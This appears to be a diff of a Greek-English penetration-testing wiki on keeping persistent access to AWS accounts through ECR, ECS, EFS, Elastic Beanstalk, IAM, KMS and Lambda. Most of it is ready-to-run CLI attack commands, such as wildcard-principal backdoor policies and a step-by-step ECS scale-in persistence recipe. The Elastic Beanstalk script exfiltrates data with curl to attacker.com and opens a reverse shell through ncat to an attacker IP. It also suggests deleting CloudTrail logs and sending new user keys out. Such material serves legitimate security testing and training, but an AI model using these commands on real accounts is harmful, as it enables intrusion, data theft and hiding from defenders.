Ένας attacker θα μπορούσε να **upload a Docker image containing malicious code** σε ένα ECR repository και να το χρησιμοποιήσει για να διατηρήσει persistence στον στοχευμένο AWS account. Στη συνέχεια, ο attacker θα μπορούσε να αναπτύξει το malicious image σε διάφορες υπηρεσίες εντός του account, όπως Amazon ECS ή EKS, με stealthy τρόπο.
### Repository Policy
Προσθέστε μια πολιτική σε ένα μεμονωμένο repository που παραχωρεί σε εσάς (ή σε όλους) πρόσβαση στο repository:
```bash
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
# With a .json such as
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
```
> [!WARNING]
> Σημειώστε ότι το ECR απαιτεί οι χρήστες να έχουν **άδεια** να πραγματοποιούν κλήσεις στο API **`ecr:GetAuthorizationToken`** μέσω μιας IAM policy **προτού να μπορέσουν να πιστοποιηθούν** σε ένα registry και να κάνουν push ή pull οποιεσδήποτε εικόνες από οποιοδήποτε Amazon ECR repository.
### Πολιτική μητρώου & Cross-account Replication
Είναι δυνατόν να αναπαραγάγετε αυτόματα ένα registry σε έναν εξωτερικό λογαριασμό ρυθμίζοντας cross-account replication, όπου χρειάζεται να **δηλώσετε τον εξωτερικό λογαριασμό** στον οποίο θέλετε να αναπαραγάγετε το registry.
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
Πρώτα, πρέπει να δώσετε στον εξωτερικό λογαριασμό πρόσβαση στο registry με μια **registry policy** όπως:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
Στη συνέχεια, εφαρμόστε τη διαμόρφωση replication:
```bash
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2
# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
```
### Repository Creation Templates (prefix backdoor για μελλοντικά repos)
Καταχρησιμοποιήστε τα ECR Repository Creation Templates για να τοποθετήσετε αυτόματα backdoor σε οποιοδήποτε repository που το ECR δημιουργεί αυτόματα κάτω από ένα ελεγχόμενο prefix (για παράδειγμα μέσω Pull-Through Cache ή Create-on-Push). Αυτό παρέχει μόνιμη μη εξουσιοδοτημένη πρόσβαση σε μελλοντικά repos χωρίς να αγγίζονται τα υπάρχοντα.
- Απαιτούμενα perms: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (if a custom role is attached to the template).
- Επίπτωση: Οποιοδήποτε νέο repository δημιουργείται υπό το στοχευμένο prefix κληρονομεί αυτόματα μια attacker-controlled repository policy (π.χ. cross-account read/write), tag mutability, και scanning defaults.
<details>
<summary>Τοποθέτηση backdoor σε μελλοντικά PTC-created repos κάτω από επιλεγμένο prefix</summary>
```bash
# Region
REGION=us-east-1
# 1) Prepare permissive repository policy (example grants everyone RW)
cat > /tmp/repo_backdoor_policy.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BackdoorRW",
"Effect": "Allow",
"Principal": {"AWS": "*"},
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer",
"ecr:InitiateLayerUpload",
"ecr:UploadLayerPart",
"ecr:CompleteLayerUpload",
"ecr:PutImage"
]
}
]
}
JSON
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
# This example caches from Amazon ECR Public namespace "nginx"
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
# 5) Validate the backdoor policy was applied on the newly created repository
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
```
</details>
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,103 @@
# AWS - ECS Persistence
{{#include ../../../banners/hacktricks-training.md}}
## ECS
For more information check:
{{#ref}}
../aws-services/aws-ecs-enum.md
{{#endref}}
### Hidden Periodic ECS Task
> [!NOTE]
> TODO: Test
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'
```
### Backdoor Container in Existing ECS Task Definition
> [!NOTE]
> TODO: Test
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'
```
### Undocumented ECS Service
> [!NOTE]
> TODO: Test
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,152 +0,0 @@
# AWS - ECS Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## ECS
Για περισσότερες πληροφορίες δείτε:
{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}
### Κρυφή Περιοδική ECS Task
> [!NOTE]
> TODO: Να δοκιμαστεί
Ένας επιτιθέμενος μπορεί να δημιουργήσει μια κρυφή περιοδική ECS task χρησιμοποιώντας το Amazon EventBridge για να προγραμματίσει περιοδικά την εκτέλεση μιας κακόβουλης task. Αυτή η task μπορεί να πραγματοποιήσει reconnaissance, να exfiltrate δεδομένα ή να διατηρήσει persistence στον AWS account.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'
```
### Backdoor Container σε υπάρχουσα ECS task definition
> [!NOTE]
> TODO: Δοκιμή
Ένας επιτιθέμενος μπορεί να προσθέσει ένα **stealthy backdoor container** σε μια υπάρχουσα ECS task definition που τρέχει παράλληλα με νόμιμα containers. Το backdoor container μπορεί να χρησιμοποιηθεί για persistence και για την εκτέλεση κακόβουλων δραστηριοτήτων.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'
```
### Μη τεκμηριωμένη ECS service
> [!NOTE]
> TODO: Δοκιμή
Ένας επιτιθέμενος μπορεί να δημιουργήσει μια **μη τεκμηριωμένη ECS service** που εκτελεί ένα κακόβουλο task. Θέτοντας τον επιθυμητό αριθμό των tasks στο ελάχιστο και απενεργοποιώντας το logging, γίνεται πιο δύσκολο για τους διαχειριστές να εντοπίσουν την κακόβουλη service.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
### ECS Persistence μέσω Task Scale-In Protection (UpdateTaskProtection)
Κακοχρησιμοποιήστε το ecs:UpdateTaskProtection για να αποτρέψετε τα service tasks από το να τερματιστούν λόγω scalein events και rolling deployments. Με τη συνεχή επέκταση της προστασίας, ένας επιτιθέμενος μπορεί να κρατήσει ένα μακροχρόνιο task σε λειτουργία (για C2 ή συλλογή δεδομένων) ακόμη και αν οι αμυνόμενοι μειώσουν το desiredCount ή ωθήσουν νέες task revisions.
Βήματα για αναπαραγωγή στην περιοχή us-east-1:
```bash
# 1) Cluster (create if missing)
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
cat > /tmp/ht-persist-td.json << 'JSON'
{
"family": "ht-persist",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"containerDefinitions": [
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
"command": ["/bin/sh","-c","sleep 864000"]}
]
}
JSON
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
# 3) Create service (use default VPC public subnet + default SG)
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
# 4) Get running task ARN
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
# 5) Enable scale-in protection for 24h and verify
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
# 6) Try to scale service to 0 (task should persist)
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
# Optional: rolling deployment blocked by protection
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
# 7) Cleanup
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
aws ecs deregister-task-definition --task-definition ht-persist || true
```
Επίπτωση: Ένα προστατευμένο task παραμένει RUNNING παρότι desiredCount=0 και εμποδίζει τις αντικαταστάσεις κατά τις νέες αναπτύξεις, επιτρέποντας stealthy longlived persistence εντός της υπηρεσίας ECS.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,25 @@
# AWS - EFS Persistence
{{#include ../../../banners/hacktricks-training.md}}
## EFS
For more information check:
{{#ref}}
../aws-services/aws-efs-enum.md
{{#endref}}
### Modify Resource Policy / Security Groups
Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
### Create Access Point
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,21 +0,0 @@
# AWS - EFS Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## EFS
Για περισσότερες πληροφορίες δείτε:
{{#ref}}
../../aws-services/aws-efs-enum.md
{{#endref}}
### Τροποποίηση Resource Policy / Security Groups
Τροποποιώντας το **resource policy** και/ή τις **security groups**, μπορείτε να προσπαθήσετε να διατηρήσετε την πρόσβασή σας στο σύστημα αρχείων.
### Δημιουργία Access Point
Μπορείτε να **create an access point** (με root access στο `/`) προσβάσιμο από μια υπηρεσία όπου έχετε υλοποιήσει **other persistence**, ώστε να διατηρήσετε προνομιούχα πρόσβαση στο σύστημα αρχείων.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,81 @@
# AWS - Elastic Beanstalk Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
For more information check:
{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
### Persistence in Instance
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
### Backdoor in Version
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
### New backdoored version
Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
### Abusing Custom Resource Lifecycle Hooks
> [!NOTE]
> TODO: Test
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
```bash
# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,75 +0,0 @@
# AWS - Elastic Beanstalk Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
For more information check:
{{#ref}}
../../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
### Persistence in Instance
Για να διατηρήσει persistence μέσα στον AWS λογαριασμό, μπορεί να εισαχθεί κάποιος **persistence mechanism μέσα στο instance** (cron job, ssh key...) έτσι ώστε ο attacker να μπορεί να αποκτήσει πρόσβαση και να κλέψει IAM role **credentials από το metadata service**.
### Backdoor in Version
Ένας attacker θα μπορούσε να backdoor τον κώδικα μέσα στο S3 repo ώστε να εκτελεί πάντα το backdoor του και τον αναμενόμενο κώδικα.
### New backdoored version
Αντί να αλλάξει τον κώδικα στην υπάρχουσα version, ο attacker θα μπορούσε να αναπτύξει μια νέα backdoored version της εφαρμογής.
### Abusing Custom Resource Lifecycle Hooks
> [!NOTE]
> TODO: Test
Το Elastic Beanstalk παρέχει lifecycle hooks που επιτρέπουν την εκτέλεση custom scripts κατά το instance provisioning και termination. Ένας attacker θα μπορούσε να **διαμορφώσει ένα lifecycle hook για να εκτελεί περιοδικά ένα script που exfiltrates δεδομένα ή διατηρεί πρόσβαση στον AWS account**.
```bash
# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,53 @@
# AWS - IAM Persistence
{{#include ../../../banners/hacktricks-training.md}}
## IAM
For more information access:
{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}
### Common IAM Persistence
- Create a user
- Add a controlled user to a privileged group
- Create access keys (of the new user or of all users)
- Grant extra permissions to controlled users/groups (attached policies or inline policies)
- Disable MFA / Add you own MFA device
- Create a Role Chain Juggling situation (more on this below in STS persistence)
### Backdoor Role Trust Policies
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": ["*", "arn:aws:iam::123213123123:root"]
},
"Action": "sts:AssumeRole"
}
]
}
```
### Backdoor Policy Version
Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
### Backdoor / Create Identity Provider
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,47 +0,0 @@
# AWS - IAM Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## IAM
Για περισσότερες πληροφορίες, δείτε:
{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}
### Συνηθισμένες IAM Persistence
- Δημιουργία χρήστη
- Προσθήκη ελεγχόμενου χρήστη σε προνομιούχα ομάδα
- Δημιουργία access keys (του νέου χρήστη ή όλων των χρηστών)
- Παροχή επιπλέον δικαιωμάτων σε ελεγχόμενους χρήστες/ομάδες (attached policies ή inline policies)
- Απενεργοποίηση MFA / Προσθήκη δικής σου MFA συσκευής
- Δημιουργία κατάστασης Role Chain Juggling (περισσότερα παρακάτω στο STS persistence)
### Backdoor Role Trust Policies
Μπορείς να backdoor-άρεις μια trust policy ώστε να μπορείς να assume αυτήν για έναν εξωτερικό πόρο που ελέγχεις (ή για όλους):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": ["*", "arn:aws:iam::123213123123:root"]
},
"Action": "sts:AssumeRole"
}
]
}
```
### Backdoor Policy Version
Δώστε Administrator permissions σε μια policy που δεν είναι στην τελευταία της έκδοση (η τελευταία έκδοση πρέπει να φαίνεται νόμιμη), στη συνέχεια αναθέστε αυτήν την έκδοση της policy σε έναν ελεγχόμενο user/group.
### Backdoor / Create Identity Provider
Εάν ο λογαριασμός ήδη εμπιστεύεται έναν κοινό identity provider (όπως το Github), οι όροι της εμπιστοσύνης μπορούν να αυξηθούν ώστε ο επιτιθέμενος να τους εκμεταλλευτεί.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,43 @@
# AWS - KMS Persistence
{{#include ../../../banners/hacktricks-training.md}}
## KMS
For mor information check:
{{#ref}}
../aws-services/aws-kms-enum.md
{{#endref}}
### Grant acces via KMS policies
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
### Eternal Grant
Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
--key-id <key-id> \
--grantee-principal <user_arn> \
--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id <key-id>
```
> [!NOTE]
> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,37 +0,0 @@
# AWS - KMS Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## KMS
Για περισσότερες πληροφορίες δείτε:
{{#ref}}
../../aws-services/aws-kms-enum.md
{{#endref}}
### Grant πρόσβαση μέσω KMS policies
Ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει την άδεια **`kms:PutKeyPolicy`** για να **δώσει πρόσβαση** σε ένα key σε έναν χρήστη υπό τον έλεγχό του ή ακόμα και σε έναν εξωτερικό λογαριασμό. Δείτε τη [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) για περισσότερες πληροφορίες.
### Eternal Grant
Grants είναι ένας άλλος τρόπος να δοθούν σε έναν principal κάποια permissions πάνω σε ένα συγκεκριμένο key. Είναι δυνατόν να δοθεί ένα grant που επιτρέπει σε έναν χρήστη να δημιουργεί grants. Επιπλέον, ένας χρήστης μπορεί να έχει πολλαπλά grant (ακόμα και πανομοιότυπα) για το ίδιο key.
Επομένως, είναι δυνατόν ένας χρήστης να έχει 10 grants με όλα τα permissions. Ο επιτιθέμενος πρέπει να παρακολουθεί αυτό συνεχώς. Και εάν σε κάποιο σημείο αφαιρεθεί 1 grant, τότε θα πρέπει να δημιουργηθούν άλλα 10.
(Χρησιμοποιούμε το 10 και όχι το 2 για να μπορούμε να ανιχνεύσουμε ότι αφαιρέθηκε ένα grant ενώ ο χρήστης εξακολουθεί να έχει κάποιο grant)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
--key-id <key-id> \
--grantee-principal <user_arn> \
--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id <key-id>
```
> [!NOTE]
> Ένα grant μπορεί να δώσει δικαιώματα μόνο από αυτό: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Lambda
Για περισσότερες πληροφορίες δείτε:
For more information check:
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -12,7 +12,7 @@
### Lambda Layer Persistence
Είναι δυνατό να εισαγάγετε/backdoor ένα layer ώστε να εκτελεί αυθαίρετο κώδικα όταν η Lambda εκτελείται με stealth τρόπο:
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
{{#ref}}
aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
### Lambda Extension Persistence
Κακοποιώντας τα Lambda Layers, είναι επίσης δυνατό να κακοποιηθούν extensions και να παραμείνετε persist στη Lambda αλλά και να steal και να τροποποιηθούν αιτήματα.
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -28,15 +28,15 @@ aws-abusing-lambda-extensions.md
### Via resource policies
Είναι δυνατόν να χορηγήσετε πρόσβαση σε διάφορα lambda actions (όπως invoke ή update code) σε εξωτερικούς λογαριασμούς:
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
### Versions, Aliases & Weights
A Lambda can have **different versions** (with different code each version).\
Στη συνέχεια, μπορείτε να δημιουργήσετε **διαφορετικά aliases με διαφορετικές versions** της Lambda και να ορίσετε διαφορετικά weights σε κάθε ένα.\
Με αυτόν τον τρόπο ένας attacker θα μπορούσε να δημιουργήσει μια **backdoored version 1** και μια **version 2 με μόνο τον legit code** και να **εκτελεί μόνο τη version 1 σε 1%** των αιτήσεων για να παραμείνει stealth.
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
@@ -44,90 +44,25 @@ A Lambda can have **different versions** (with different code each version).\
1. Copy the original code of the Lambda
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
1. Call the API gateway related to the lambda to execute the code
1. Call the API gateway related to the lambda to execute the code
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
1. This will hide the backdoored code in a previous version
1. This will hide the backdoored code in a previous version
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
5. Select the POST method created and in Actions select **`Deploy API`**
6. Now, when you **call the function via POST your Backdoor** will be invoked
### Cron/Event actuator
Το ότι μπορείτε να κάνετε **lambda functions να τρέχουν όταν κάτι συμβαίνει ή όταν περάσει κάποιος χρόνος** κάνει τη Lambda έναν καλό και συνηθισμένο τρόπο για να αποκτήσετε persistence και να αποφύγετε την ανίχνευση.\
Εδώ έχετε μερικές ιδέες για να κάνετε την **παρουσία σας στο AWS πιο stealth δημιουργώντας lambdas**.
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
- Κάθε φορά που δημιουργείται νέος user, η Lambda δημιουργεί νέο user key και το στέλνει στον attacker.
- Κάθε φορά που δημιουργείται νέο role, η Lambda δίνει assume role permissions σε compromised users.
- Κάθε φορά που παράγονται νέα cloudtrail logs, διαγράψτε/τροποποιήστε τα
- Every time a new user is created lambda generates a new user key and send it to the attacker.
- Every time a new role is created lambda gives assume role permissions to compromised users.
- Every time new cloudtrail logs are generated, delete/alter them
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
